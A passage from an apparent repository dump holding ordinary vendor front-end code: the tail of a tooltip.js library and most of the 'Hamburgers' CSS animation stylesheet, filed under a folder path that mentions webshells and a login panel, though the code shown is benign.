{\n          return;\n        }\n        if (!document.body.contains(_this4._tooltipNode)) {\n          return;\n        }\n\n        // if we are hiding because of a mouseleave, we must check that the new\n        // reference isn't the tooltip, because in this case we don't want to hide it\n        if (evt.type === 'mouseleave') {\n          var isSet = _this4._setTooltipNodeEvent(evt, reference, delay, options);\n\n          // if we set the new event, don't hide the tooltip yet\n          // the new event will take care to hide it if necessary\n          if (isSet) {\n            return;\n          }\n        }\n\n        _this4._hide(reference, options);\n      }, computedDelay);\n    }\n  }]);\n  return Tooltip;\n}();\n\n/**\n * Placement function, its context is the Tooltip instance.\n * @memberof Tooltip\n * @callback PlacementFunction\n * @param {HTMLElement} tooltip - tooltip DOM node.\n * @param {HTMLElement} reference - reference DOM node.\n * @return {String} placement - One of the allowed placement options.\n */\n\n/**\n * Title function, its context is the Tooltip instance.\n * @memberof Tooltip\n * @callback TitleFunction\n * @return {String} placement - The desired title.\n */\n\n\nvar _initialiseProps = function _initialiseProps() {\n  var _this5 = this;\n\n  this.show = function () {\n    return _this5._show(_this5.reference, _this5.options);\n  };\n\n  this.hide = function () {\n    return _this5._hide();\n  };\n\n  this.dispose = function () {\n    return _this5._dispose();\n  };\n\n  this.toggle = function () {\n    if (_this5._isOpen) {\n      return _this5.hide();\n    } else {\n      return _this5.show();\n    }\n  };\n\n  this.arrowSelector = '.tooltip-arrow, .tooltip__arrow';\n  this.innerSelector = '.tooltip-inner, .tooltip__inner';\n  this._events = [];\n\n  this._setTooltipNodeEvent = function (evt, reference, delay, options) {\n    var relatedreference = evt.relatedreference || evt.toElement;\n\n    var callback = function callback(evt2) {\n      var relatedreference2 = evt2.relatedreference || evt2.toElement;\n\n      // Remove event listener after call\n      _this5._tooltipNode.removeEventListener(evt.type, callback);\n\n      // If the new reference is not the reference element\n      if (!reference.contains(relatedreference2)) {\n        // Schedule to hide tooltip\n        _this5._scheduleHide(reference, options.delay, options, evt2);\n      }\n    };\n\n    if (_this5._tooltipNode.contains(relatedreference)) {\n      // listen to mouseleave on the tooltip element to be able to hide the tooltip\n      _this5._tooltipNode.addEventListener(evt.type, callback);\n      return true;\n    }\n\n    return false;\n  };\n};\n\nreturn Tooltip;\n\n})));\n//# sourceMappingURL=tooltip.js.map\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/css-hamburgers/hamburgers.css",
    "content": "/*!\r\n * Hamburgers\r\n * @description Tasty CSS-animated hamburgers\r\n * @author Jonathan Suh @jonsuh\r\n * @site https://jonsuh.com/hamburgers\r\n * @link https://github.com/jonsuh/hamburgers\r\n */\r\n.hamburger {\r\n  padding: 15px 15px;\r\n  display: inline-block;\r\n  cursor: pointer;\r\n  transition-property: opacity, filter;\r\n  transition-duration: 0.15s;\r\n  transition-timing-function: linear;\r\n  font: inherit;\r\n  color: inherit;\r\n  text-transform: none;\r\n  background-color: transparent;\r\n  border: 0;\r\n  margin: 0;\r\n  overflow: visible; }\r\n  .hamburger:hover {\r\n    opacity: 0.7; }\r\n\r\n.hamburger-box {\r\n  width: 40px;\r\n  height: 24px;\r\n  display: inline-block;\r\n  position: relative; }\r\n\r\n.hamburger-inner {\r\n  display: block;\r\n  top: 50%;\r\n  margin-top: -2px; }\r\n  .hamburger-inner, .hamburger-inner::before, .hamburger-inner::after {\r\n    width: 40px;\r\n    height: 4px;\r\n    background-color: #000;\r\n    border-radius: 4px;\r\n    position: absolute;\r\n    transition-property: transform;\r\n    transition-duration: 0.15s;\r\n    transition-timing-function: ease; }\r\n  .hamburger-inner::before, .hamburger-inner::after {\r\n    content: \"\";\r\n    display: block; }\r\n  .hamburger-inner::before {\r\n    top: -10px; }\r\n  .hamburger-inner::after {\r\n    bottom: -10px; }\r\n\r\n/*\r\n   * 3DX\r\n   */\r\n.hamburger--3dx .hamburger-box {\r\n  perspective: 80px; }\r\n\r\n.hamburger--3dx .hamburger-inner {\r\n  transition: transform 0.2s cubic-bezier(0.645, 0.045, 0.355, 1), background-color 0s 0.1s cubic-bezier(0.645, 0.045, 0.355, 1); }\r\n  .hamburger--3dx .hamburger-inner::before, .hamburger--3dx .hamburger-inner::after {\r\n    transition: transform 0s 0.1s cubic-bezier(0.645, 0.045, 0.355, 1); }\r\n\r\n.hamburger--3dx.is-active .hamburger-inner {\r\n  background-color: transparent;\r\n  transform: rotateY(180deg); }\r\n  .hamburger--3dx.is-active .hamburger-inner::before {\r\n    transform: translate3d(0, 10px, 0) rotate(45deg); }\r\n  .hamburger--3dx.is-active .hamburger-inner::after {\r\n    transform: translate3d(0, -10px, 0) rotate(-45deg); }\r\n\r\n/*\r\n   * 3DX Reverse\r\n   */\r\n.hamburger--3dx-r .hamburger-box {\r\n  perspective: 80px; }\r\n\r\n.hamburger--3dx-r .hamburger-inner {\r\n  transition: transform 0.2s cubic-bezier(0.645, 0.045, 0.355, 1), background-color 0s 0.1s cubic-bezier(0.645, 0.045, 0.355, 1); }\r\n  .hamburger--3dx-r .hamburger-inner::before, .hamburger--3dx-r .hamburger-inner::after {\r\n    transition: transform 0s 0.1s cubic-bezier(0.645, 0.045, 0.355, 1); }\r\n\r\n.hamburger--3dx-r.is-active .hamburger-inner {\r\n  background-color: transparent;\r\n  transform: rotateY(-180deg); }\r\n  .hamburger--3dx-r.is-active .hamburger-inner::before {\r\n    transform: translate3d(0, 10px, 0) rotate(45deg); }\r\n  .hamburger--3dx-r.is-active .hamburger-inner::after {\r\n    transform: translate3d(0, -10px, 0) rotate(-45deg); }\r\n\r\n/*\r\n   * 3DY\r\n   */\r\n.hamburger--3dy .hamburger-box {\r\n  perspective: 80px; }\r\n\r\n.hamburger--3dy .hamburger-inner {\r\n  transition: transform 0.2s cubic-bezier(0.645, 0.045, 0.355, 1), background-color 0s 0.1s cubic-bezier(0.645, 0.045, 0.355, 1); }\r\n  .hamburger--3dy .hamburger-inner::before, .hamburger--3dy .hamburger-inner::after {\r\n    transition: transform 0s 0.1s cubic-bezier(0.645, 0.045, 0.355, 1); }\r\n\r\n.hamburger--3dy.is-active .hamburger-inner {\r\n  background-color: transparent;\r\n  transform: rotateX(-180deg); }\r\n  .hamburger--3dy.is-active .hamburger-inner::before {\r\n    transform: translate3d(0, 10px, 0) rotate(45deg); }\r\n  .hamburger--3dy.is-active .hamburger-inner::after {\r\n    transform: translate3d(0, -10px, 0) rotate(-45deg); }\r\n\r\n/*\r\n   * 3DY Reverse\r\n   */\r\n.hamburger--3dy-r .hamburger-box {\r\n  perspective: 80px; }\r\n\r\n.hamburger--3dy-r .hamburger-inner {\r\n  transition: transform 0.2s cubic-bezier(0.645, 0.045, 0.355, 1), background-color 0s 0.1s cubic-bezier(0.645, 0.045, 0.355, 1); }\r\n  .hamburger--3dy-r .hamburger-inner::before, .hamburger--3dy-r .hamburger-inner::after {\r\n    transition: transform 0s 0.1s cubic-bezier(0.645, 0.045, 0.355, 1); }\r\n\r\n.hamburger--3dy-r.is-active .hamburger-inner {\r\n  background-color: transparent;\r\n  transform: rotateX(180deg); }\r\n  .hamburger--3dy-r.is-active .hamburger-inner::before {\r\n    transform: translate3d(0, 10px, 0) rotate(45deg); }\r\n  .hamburger--3dy-r.is-active .hamburger-inner::after {\r\n    transform: translate3d(0, -10px, 0) rotate(-45deg); }\r\n\r\n/*\r\n   * Arrow\r\n   */\r\n.hamburger--arrow.is-active .hamburger-inner::before {\r\n  transform: translate3d(-8px, 0, 0) rotate(-45deg) scale(0.7, 1); }\r\n\r\n.hamburger--arrow.is-active .hamburger-inner::after {\r\n  transform: translate3d(-8px, 0, 0) rotate(45deg) scale(0.7, 1); }\r\n\r\n/*\r\n   * Arrow Right\r\n   */\r\n.hamburger--arrow-r.is-active .hamburger-inner::before {\r\n  transform: translate3d(8px, 0, 0) rotate(45deg) scale(0.7, 1); }\r\n\r\n.hamburger--arrow-r.is-active .hamburger-inner::after {\r\n  transform: translate3d(8px, 0, 0) rotate(-45deg) scale(0.7, 1); }\r\n\r\n/*\r\n   * Arrow Alt\r\n   */\r\n.hamburger--arrowalt .hamburger-inner::before {\r\n  transition: top 0.1s 0.15s ease, transform 0.15s cubic-bezier(0.165, 0.84, 0.44, 1); }\r\n\r\n.hamburger--arrowalt .hamburger-inner::after {\r\n  transition: bottom 0.1s 0.15s ease, transform 0.15s cubic-bezier(0.165, 0.84, 0.44, 1); }\r\n\r\n.hamburger--arrowalt.is-active .hamburger-inner::before {\r\n  top: 0;\r\n  transform: translate3d(-8px, -10px, 0) rotate(-45deg) scale(0.7, 1);\r\n  transition: top 0.1s ease, transform 0.15s 0.1s cubic-bezier(0.895, 0.03, 0.685, 0.22); }\r\n\r\n.hamburger--arrowalt.is-active .hamburger-inner::after {\r\n  bottom: 0;\r\n  transform: translate3d(-8px, 10px, 0) rotate(45deg) scale(0.7, 1);\r\n  transition: bottom 0.1s ease, transform 0.15s 0.1s cubic-bezier(0.895, 0.03, 0.685, 0.22); }\r\n\r\n/*\r\n   * Arrow Alt Right\r\n   */\r\n.hamburger--arrowalt-r .hamburger-inner::before {\r\n  transition: top 0.1s 0.15s ease, transform 0.15s cubic-bezier(0.165, 0.84, 0.44, 1); }\r\n\r\n.hamburger--arrowalt-r .hamburger-inner::after {\r\n  transition: bottom 0.1s 0.15s ease, transform 0.15s cubic-bezier(0.165, 0.84, 0.44, 1); }\r\n\r\n.hamburger--arrowalt-r.is-active .hamburger-inner::before {\r\n  top: 0;\r\n  transform: translate3d(8px, -10px, 0) rotate(45deg) scale(0.7, 1);\r\n  transition: top 0.1s ease, transform 0.15s 0.1s cubic-bezier(0.895, 0.03, 0.685, 0.22); }\r\n\r\n.hamburger--arrowalt-r.is-active .hamburger-inner::after {\r\n  bottom: 0;\r\n  transform: translate3d(8px, 10px, 0) rotate(-45deg) scale(0.7, 1);\r\n  transition: bottom 0.1s ease, transform 0.15s 0.1s cubic-bezier(0.895, 0.03, 0.685, 0.22); }\r\n\r\n/*\r\n   * Boring\r\n   */\r\n.hamburger--boring .hamburger-inner, .hamburger--boring .hamburger-inner::before, .hamburger--boring .hamburger-inner::after {\r\n  transition-property: none; }\r\n\r\n.hamburger--boring.is-active .hamburger-inner {\r\n  transform: rotate(45deg); }\r\n  .hamburger--boring.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    opacity: 0; }\r\n  .hamburger--boring.is-active .hamburger-inner::after {\r\n    bottom: 0;\r\n    transform: rotate(-90deg); }\r\n\r\n/*\r\n   * Collapse\r\n   */\r\n.hamburger--collapse .hamburger-inner {\r\n  top: auto;\r\n  bottom: 0;\r\n  transition-duration: 0.15s;\r\n  transition-delay: 0.15s;\r\n  transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--collapse .hamburger-inner::after {\r\n    top: -20px;\r\n    transition: top 0.3s 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1), opacity 0.1s linear; }\r\n  .hamburger--collapse .hamburger-inner::before {\r\n    transition: top 0.12s 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1), transform 0.15s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--collapse.is-active .hamburger-inner {\r\n  transform: translate3d(0, -10px, 0) rotate(-45deg);\r\n  transition-delay: 0.32s;\r\n  transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n  .hamburger--collapse.is-active .hamburger-inner::after {\r\n    top: 0;\r\n    opacity: 0;\r\n    transition: top 0.3s cubic-bezier(0.33333, 0, 0.66667, 0.33333), opacity 0.1s 0.27s linear; }\r\n  .hamburger--collapse.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    transform: rotate(-90deg);\r\n    transition: top 0.12s 0.18s cubic-bezier(0.33333, 0, 0.66667, 0.33333), transform 0.15s 0.42s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n\r\n/*\r\n   * Collapse Reverse\r\n   */\r\n.hamburger--collapse-r .hamburger-inner {\r\n  top: auto;\r\n  bottom: 0;\r\n  transition-duration: 0.15s;\r\n  transition-delay: 0.15s;\r\n  transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--collapse-r .hamburger-inner::after {\r\n    top: -20px;\r\n    transition: top 0.3s 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1), opacity 0.1s linear; }\r\n  .hamburger--collapse-r .hamburger-inner::before {\r\n    transition: top 0.12s 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1), transform 0.15s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--collapse-r.is-active .hamburger-inner {\r\n  transform: translate3d(0, -10px, 0) rotate(45deg);\r\n  transition-delay: 0.32s;\r\n  transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n  .hamburger--collapse-r.is-active .hamburger-inner::after {\r\n    top: 0;\r\n    opacity: 0;\r\n    transition: top 0.3s cubic-bezier(0.33333, 0, 0.66667, 0.33333), opacity 0.1s 0.27s linear; }\r\n  .hamburger--collapse-r.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    transform: rotate(90deg);\r\n    transition: top 0.12s 0.18s cubic-bezier(0.33333, 0, 0.66667, 0.33333), transform 0.15s 0.42s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n\r\n/*\r\n   * Elastic\r\n   */\r\n.hamburger--elastic .hamburger-inner {\r\n  top: 2px;\r\n  transition-duration: 0.4s;\r\n  transition-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55); }\r\n  .hamburger--elastic .hamburger-inner::before {\r\n    top: 10px;\r\n    transition: opacity 0.15s 0.4s ease; }\r\n  .hamburger--elastic .hamburger-inner::after {\r\n    top: 20px;\r\n    transition: transform 0.4s cubic-bezier(0.68, -0.55, 0.265, 1.55); }\r\n\r\n.hamburger--elastic.is-active .hamburger-inner {\r\n  transform: translate3d(0, 10px, 0) rotate(135deg);\r\n  transition-delay: 0.1s; }\r\n  .hamburger--elastic.is-active .hamburger-inner::before {\r\n    transition-delay: 0s;\r\n    opacity: 0; }\r\n  .hamburger--elastic.is-active .hamburger-inner::after {\r\n    transform: translate3d(0, -20px, 0) rotate(-270deg);\r\n    transition-delay: 0.1s; }\r\n\r\n/*\r\n   * Elastic Reverse\r\n   */\r\n.hamburger--elastic-r .hamburger-inner {\r\n  top: 2px;\r\n  transition-duration: 0.4s;\r\n  transition-timing-function: cubic-bezier(0.68, -0.55, 0.265, 1.55); }\r\n  .hamburger--elastic-r .hamburger-inner::before {\r\n    top: 10px;\r\n    transition: opacity 0.15s 0.4s ease; }\r\n  .hamburger--elastic-r .hamburger-inner::after {\r\n    top: 20px;\r\n    transition: transform 0.4s cubic-bezier(0.68, -0.55, 0.265, 1.55); }\r\n\r\n.hamburger--elastic-r.is-active .hamburger-inner {\r\n  transform: translate3d(0, 10px, 0) rotate(-135deg);\r\n  transition-delay: 0.1s; }\r\n  .hamburger--elastic-r.is-active .hamburger-inner::before {\r\n    transition-delay: 0s;\r\n    opacity: 0; }\r\n  .hamburger--elastic-r.is-active .hamburger-inner::after {\r\n    transform: translate3d(0, -20px, 0) rotate(270deg);\r\n    transition-delay: 0.1s; }\r\n\r\n/*\r\n   * Emphatic\r\n   */\r\n.hamburger--emphatic {\r\n  overflow: hidden; }\r\n  .hamburger--emphatic .hamburger-inner {\r\n    transition: background-color 0.2s 0.25s ease-in; }\r\n    .hamburger--emphatic .hamburger-inner::before {\r\n      left: 0;\r\n      transition: transform 0.2s cubic-bezier(0.6, 0.04, 0.98, 0.335), top 0.05s 0.2s linear, left 0.2s 0.25s ease-in; }\r\n    .hamburger--emphatic .hamburger-inner::after {\r\n      top: 10px;\r\n      right: 0;\r\n      transition: transform 0.2s cubic-bezier(0.6, 0.04, 0.98, 0.335), top 0.05s 0.2s linear, right 0.2s 0.25s ease-in; }\r\n  .hamburger--emphatic.is-active .hamburger-inner {\r\n    transition-delay: 0s;\r\n    transition-timing-function: ease-out;\r\n    background-color: transparent; }\r\n    .hamburger--emphatic.is-active .hamburger-inner::before {\r\n      left: -80px;\r\n      top: -80px;\r\n      transform: translate3d(80px, 80px, 0) rotate(45deg);\r\n      transition: left 0.2s ease-out, top 0.05s 0.2s linear, transform 0.2s 0.25s cubic-bezier(0.075, 0.82, 0.165, 1); }\r\n    .hamburger--emphatic.is-active .hamburger-inner::after {\r\n      right: -80px;\r\n      top: -80px;\r\n      transform: translate3d(-80px, 80px, 0) rotate(-45deg);\r\n      transition: right 0.2s ease-out, top 0.05s 0.2s linear, transform 0.2s 0.25s cubic-bezier(0.075, 0.82, 0.165, 1); }\r\n\r\n/*\r\n   * Emphatic Reverse\r\n   */\r\n.hamburger--emphatic-r {\r\n  overflow: hidden; }\r\n  .hamburger--emphatic-r .hamburger-inner {\r\n    transition: background-color 0.2s 0.25s ease-in; }\r\n    .hamburger--emphatic-r .hamburger-inner::before {\r\n      left: 0;\r\n      transition: transform 0.2s cubic-bezier(0.6, 0.04, 0.98, 0.335), top 0.05s 0.2s linear, left 0.2s 0.25s ease-in; }\r\n    .hamburger--emphatic-r .hamburger-inner::after {\r\n      top: 10px;\r\n      right: 0;\r\n      transition: transform 0.2s cubic-bezier(0.6, 0.04, 0.98, 0.335), top 0.05s 0.2s linear, right 0.2s 0.25s ease-in; }\r\n  .hamburger--emphatic-r.is-active .hamburger-inner {\r\n    transition-delay: 0s;\r\n    transition-timing-function: ease-out;\r\n    background-color: transparent; }\r\n    .hamburger--emphatic-r.is-active .hamburger-inner::before {\r\n      left: -80px;\r\n      top: 80px;\r\n      transform: translate3d(80px, -80px, 0) rotate(-45deg);\r\n      transition: left 0.2s ease-out, top 0.05s 0.2s linear, transform 0.2s 0.25s cubic-bezier(0.075, 0.82, 0.165, 1); }\r\n    .hamburger--emphatic-r.is-active .hamburger-inner::after {\r\n      right: -80px;\r\n      top: 80px;\r\n      transform: translate3d(-80px, -80px, 0) rotate(45deg);\r\n      transition: right 0.2s ease-out, top 0.05s 0.2s linear, transform 0.2s 0.25s cubic-bezier(0.075, 0.82, 0.165, 1); }\r\n\r\n/*\r\n   * Slider\r\n   */\r\n.hamburger--slider .hamburger-inner {\r\n  top: 2px; }\r\n  .hamburger--slider .hamburger-inner::before {\r\n    top: 10px;\r\n    transition-property: transform, opacity;\r\n    transition-timing-function: ease;\r\n    transition-duration: 0.2s; }\r\n  .hamburger--slider .hamburger-inner::after {\r\n    top: 20px; }\r\n\r\n.hamburger--slider.is-active .hamburger-inner {\r\n  transform: translate3d(0, 10px, 0) rotate(45deg); }\r\n  .hamburger--slider.is-active .hamburger-inner::before {\r\n    transform: rotate(-45deg) translate3d(-5.71429px, -6px, 0);\r\n    opacity: 0; }\r\n  .hamburger--slider.is-active .hamburger-inner::after {\r\n    transform: translate3d(0, -20px, 0) rotate(-90deg); }\r\n\r\n/*\r\n   * Slider Reverse\r\n   */\r\n.hamburger--slider-r .hamburger-inner {\r\n  top: 2px; }\r\n  .hamburger--slider-r .hamburger-inner::before {\r\n    top: 10px;\r\n    transition-property: transform, opacity;\r\n    transition-timing-function: ease;\r\n    transition-duration: 0.2s; }\r\n  .hamburger--slider-r .hamburger-inner::after {\r\n    top: 20px; }\r\n\r\n.hamburger--slider-r.is-active .hamburger-inner {\r\n  transform: translate3d(0, 10px, 0) rotate(-45deg); }\r\n  .hamburger--slider-r.is-active .hamburger-inner::before {\r\n    transform: rotate(45deg) translate3d(5.71429px, -6px, 0);\r\n    opacity: 0; }\r\n  .hamburger--slider-r.is-active .hamburger-inner::after {\r\n    transform: translate3d(0, -20px, 0) rotate(90deg); }\r\n\r\n/*\r\n   * Spring\r\n   */\r\n.hamburger--spring .hamburger-inner {\r\n  top: 2px;\r\n  transition: background-color 0s 0.15s linear; }\r\n  .hamburger--spring .hamburger-inner::before {\r\n    top: 10px;\r\n    transition: top 0.12s 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1), transform 0.15s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--spring .hamburger-inner::after {\r\n    top: 20px;\r\n    transition: top 0.3s 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1), transform 0.15s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--spring.is-active .hamburger-inner {\r\n  transition-delay: 0.32s;\r\n  background-color: transparent; }\r\n  .hamburger--spring.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    transition: top 0.12s 0.18s cubic-bezier(0.33333, 0, 0.66667, 0.33333), transform 0.15s 0.32s cubic-bezier(0.215, 0.61, 0.355, 1);\r\n    transform: translate3d(0, 10px, 0) rotate(45deg); }\r\n  .hamburger--spring.is-active .hamburger-inner::after {\r\n    top: 0;\r\n    transition: top 0.3s cubic-bezier(0.33333, 0, 0.66667, 0.33333), transform 0.15s 0.32s cubic-bezier(0.215, 0.61, 0.355, 1);\r\n    transform: translate3d(0, 10px, 0) rotate(-45deg); }\r\n\r\n/*\r\n   * Spring Reverse\r\n   */\r\n.hamburger--spring-r .hamburger-inner {\r\n  top: auto;\r\n  bottom: 0;\r\n  transition-duration: 0.15s;\r\n  transition-delay: 0s;\r\n  transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--spring-r .hamburger-inner::after {\r\n    top: -20px;\r\n    transition: top 0.3s 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1), opacity 0s linear; }\r\n  .hamburger--spring-r .hamburger-inner::before {\r\n    transition: top 0.12s 0.3s cubic-bezier(0.33333, 0.66667, 0.66667, 1), transform 0.15s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--spring-r.is-active .hamburger-inner {\r\n  transform: translate3d(0, -10px, 0) rotate(-45deg);\r\n  transition-delay: 0.32s;\r\n  transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n  .hamburger--spring-r.is-active .hamburger-inner::after {\r\n    top: 0;\r\n    opacity: 0;\r\n    transition: top 0.3s cubic-bezier(0.33333, 0, 0.66667, 0.33333), opacity 0s 0.32s linear; }\r\n  .hamburger--spring-r.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    transform: rotate(90deg);\r\n    transition: top 0.12s 0.18s cubic-bezier(0.33333, 0, 0.66667, 0.33333), transform 0.15s 0.32s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n\r\n/*\r\n   * Stand\r\n   */\r\n.hamburger--stand .hamburger-inner {\r\n  transition: transform 0.1s 0.22s cubic-bezier(0.55, 0.055, 0.675, 0.19), background-color 0s 0.1s linear; }\r\n  .hamburger--stand .hamburger-inner::before {\r\n    transition: top 0.1s 0.1s ease-in, transform 0.1s 0s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--stand .hamburger-inner::after {\r\n    transition: bottom 0.1s 0.1s ease-in, transform 0.1s 0s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--stand.is-active .hamburger-inner {\r\n  transform: rotate(90deg);\r\n  background-color: transparent;\r\n  transition: transform 0.1s 0s cubic-bezier(0.215, 0.61, 0.355, 1), background-color 0s 0.22s linear; }\r\n  .hamburger--stand.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    transform: rotate(-45deg);\r\n    transition: top 0.1s 0.12s ease-out, transform 0.1s 0.22s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n  .hamburger--stand.is-active .hamburger-inner::after {\r\n    bottom: 0;\r\n    transform: rotate(45deg);\r\n    transition: bottom 0.1s 0.12s ease-out, transform 0.1s 0.22s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n\r\n/*\r\n   * Stand Reverse\r\n   */\r\n.hamburger--stand-r .hamburger-inner {\r\n  transition: transform 0.1s 0.22s cubic-bezier(0.55, 0.055, 0.675, 0.19), background-color 0s 0.1s linear; }\r\n  .hamburger--stand-r .hamburger-inner::before {\r\n    transition: top 0.1s 0.1s ease-in, transform 0.1s 0s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--stand-r .hamburger-inner::after {\r\n    transition: bottom 0.1s 0.1s ease-in, transform 0.1s 0s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--stand-r.is-active .hamburger-inner {\r\n  transform: rotate(-90deg);\r\n  background-color: transparent;\r\n  transition: transform 0.1s 0s cubic-bezier(0.215, 0.61, 0.355, 1), background-color 0s 0.22s linear; }\r\n  .hamburger--stand-r.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    transform: rotate(-45deg);\r\n    transition: top 0.1s 0.12s ease-out, transform 0.1s 0.22s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n  .hamburger--stand-r.is-active .hamburger-inner::after {\r\n    bottom: 0;\r\n    transform: rotate(45deg);\r\n    transition: bottom 0.1s 0.12s ease-out, transform 0.1s 0.22s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n\r\n/*\r\n   * Spin\r\n   */\r\n.hamburger--spin .hamburger-inner {\r\n  transition-duration: 0.3s;\r\n  transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--spin .hamburger-inner::before {\r\n    transition: top 0.1s 0.34s ease-in, opacity 0.1s ease-in; }\r\n  .hamburger--spin .hamburger-inner::after {\r\n    transition: bottom 0.1s 0.34s ease-in, transform 0.3s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--spin.is-active .hamburger-inner {\r\n  transform: rotate(225deg);\r\n  transition-delay: 0.14s;\r\n  transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n  .hamburger--spin.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    opacity: 0;\r\n    transition: top 0.1s ease-out, opacity 0.1s 0.14s ease-out; }\r\n  .hamburger--spin.is-active .hamburger-inner::after {\r\n    bottom: 0;\r\n    transform: rotate(-90deg);\r\n    transition: bottom 0.1s ease-out, transform 0.3s 0.14s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n\r\n/*\r\n   * Spin Reverse\r\n   */\r\n.hamburger--spin-r .hamburger-inner {\r\n  transition-duration: 0.3s;\r\n  transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--spin-r .hamburger-inner::before {\r\n    transition: top 0.1s 0.34s ease-in, opacity 0.1s ease-in; }\r\n  .hamburger--spin-r .hamburger-inner::after {\r\n    transition: bottom 0.1s 0.34s ease-in, transform 0.3s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--spin-r.is-active .hamburger-inner {\r\n  transform: rotate(-225deg);\r\n  transition-delay: 0.14s;\r\n  transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n  .hamburger--spin-r.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    opacity: 0;\r\n    transition: top 0.1s ease-out, opacity 0.1s 0.14s ease-out; }\r\n  .hamburger--spin-r.is-active .hamburger-inner::after {\r\n    bottom: 0;\r\n    transform: rotate(90deg);\r\n    transition: bottom 0.1s ease-out, transform 0.3s 0.14s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n\r\n/*\r\n   * Squeeze\r\n   */\r\n.hamburger--squeeze .hamburger-inner {\r\n  transition-duration: 0.1s;\r\n  transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n  .hamburger--squeeze .hamburger-inner::before {\r\n    transition: top 0.1s 0.14s ease, opacity 0.1s ease; }\r\n  .hamburger--squeeze .hamburger-inner::after {\r\n    transition: bottom 0.1s 0.14s ease, transform 0.1s cubic-bezier(0.55, 0.055, 0.675, 0.19); }\r\n\r\n.hamburger--squeeze.is-active .hamburger-inner {\r\n  transform: rotate(45deg);\r\n  transition-delay: 0.14s;\r\n  transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n  .hamburger--squeeze.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    opacity: 0;\r\n    transition: top 0.1s ease, opacity 0.1s 0.14s ease; }\r\n  .hamburger--squeeze.is-active .hamburger-inner::after {\r\n    bottom: 0;\r\n    transform: rotate(-90deg);\r\n    transition: bottom 0.1s ease, transform 0.1s 0.14s cubic-bezier(0.215, 0.61, 0.355, 1); }\r\n\r\n/*\r\n   * Vortex\r\n   */\r\n.hamburger--vortex .hamburger-inner {\r\n  transition-duration: 0.3s;\r\n  transition-timing-function: cubic-bezier(0.19, 1, 0.22, 1); }\r\n  .hamburger--vortex .hamburger-inner::before, .hamburger--vortex .hamburger-inner::after {\r\n    transition-duration: 0s;\r\n    transition-delay: 0.1s;\r\n    transition-timing-function: linear; }\r\n  .hamburger--vortex .hamburger-inner::before {\r\n    transition-property: top, opacity; }\r\n  .hamburger--vortex .hamburger-inner::after {\r\n    transition-property: bottom, transform; }\r\n\r\n.hamburger--vortex.is-active .hamburger-inner {\r\n  transform: rotate(765deg);\r\n  transition-timing-function: cubic-bezier(0.19, 1, 0.22, 1); }\r\n  .hamburger--vortex.is-active .hamburger-inner::before, .hamburger--vortex.is-active .hamburger-inner::after {\r\n    transition-delay: 0s; }\r\n  .hamburger--vortex.is-active .hamburger-inner::before {\r\n    top: 0;\r\n    opacity: 0; }\r\n  .hamburger--vortex.is-active .hamburger-inner::after {\r\n    bottom: 0;\r\n    transform: rotate(90deg); }\r\n\r\n/*\r\n   * Vortex Reverse\r\n   */\r\n.hamburger--vortex-r .hamburger-inner {\r\n  transition-duration: 0.3s;\r\n  transition-timing-function: cubic-bezier(0.19, 1, 0.22, 1); }\r\n  .hamburger--vortex-r .hamburger-inner::before, .hamburger--vortex-r .hamburger-inner::after {\r\n    transition-duration: 0s;\r\n    transition-delay: 0.1s;\r\n    transition-timing-function: linear; }\r\n  .hamburger--vortex-r 